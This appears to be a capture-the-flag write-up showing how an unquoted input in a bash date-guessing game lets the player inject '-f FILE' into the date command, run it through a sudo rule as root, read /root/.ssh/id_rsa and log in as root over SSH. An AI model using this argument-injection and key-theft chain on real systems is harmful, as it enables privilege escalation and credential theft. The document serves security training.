Wordle Bash
We put a new novel spin on the old classic game of Wordle! Now it’s written in bash! :D Oh, and you aren’t guessing words, this time…
The supplied terminal drops us into a read-only session as user. The script wants us to guess a randomly generated date, which is already a slightly cursed premise.
The script chooses one value from each of three arrays and joins them into TARGET_DATE.
YEARS=("2020" "2021" "2022" "2023" "2024" "2025")
MONTHS=("01" "02" "03" "04" "05" "06" "07" "08" "09" "10" "11" "12")
DAYS=("01" "02" "03" "04" "05" "06" "07" "08" "09" "10" "11" "12" "13" "14" "15" "16" "17" "18" "19" "20" "21" "22" "23" "24" "25" "26" "27" "28" "29" "30" "31")
YEAR=${YEARS[$(($RANDOM % ${#YEARS[@]}))]}
MONTH=${MONTHS[$(($RANDOM % ${#MONTHS[@]}))]}
DAY=${DAYS[$(($RANDOM % ${#DAYS[@]}))]}
TARGET_DATE="${YEAR}-${MONTH}-${DAY}"
The independent choice can create dates that do not exist, which is already a hint that the date handling deserves attention. The critical comparison appears after the confirmation prompt:
if [[ $(date $guess_date) == $(date -d $TARGET_DATE +%Y-%m-%d) ]]; then
gum style \
"Congratulations, you've won!" \
'Your flag is:' $(cat /root/flag.txt)
fi
The right side parses the target with -d and formats it as YYYY-MM-DD. The left side runs date $guess_date with no -d and no output format. Since [[ ... == ... ]] compares strings, even a correct-looking date does not naturally produce the same value.
At first the game builds guess_date from fixed menu choices and validates it. If we reject the confirmation, however, it opens a free-text input and assigns the result without quoting it later.
gum confirm "You've entered '$guess_date'. Is that right?"
confirmed=$?
if [[ $confirmed -ne 0 ]]; then
echo "Please select the date you meant:"
guess_date=$(gum input --placeholder $guess_date)
fi
That gives us control over command-line arguments to date. GTFOBins documents the -f FILE option, which asks date to read date strings from a file. Supplying the flag path tests whether the injection works.
Please select the date you meant:
-f /root/flag.txt
date: /root/flag.txt: Permission denied
The error is good news: our option reached date and it tried to open the chosen file. The only remaining problem is that the current process runs as the unprivileged user.
sudo -l shows that this user may run the Wordle script itself as root.
$ sudo -l
User user may run the following commands on wordle-bash:
(root) /home/user/wordle_bash.sh
Running the same script through sudo makes every command inside it root, including the vulnerable date invocation. Reading /root/flag.txt now works, although the file contains a message telling us that the real flag appears after root code execution.
date: invalid date '[ Sorry, your flag will be displayed once you have code execution as root ]'
The primitive can read any text file root can access, so I used it against the root SSH keys. The useful private key is /root/.ssh/id_rsa.
-f /root/.ssh/id_rsa
date prints each invalid line in its error output. I copied the key material to a local file, restored its line breaks, fixed the permissions and used it for a new SSH connection.
$ chmod 600 id_rsa
$ ssh -i id_rsa root@TARGET
The new session is a real root shell rather than a file-read side effect. From there we can enter /root, find flag.txt together with the randomly suffixed flag helper and complete the challenge.
The funny part is that we never need shell metacharacters. A space and two perfectly legitimate date arguments are enough; the sudo rule supplies the rest.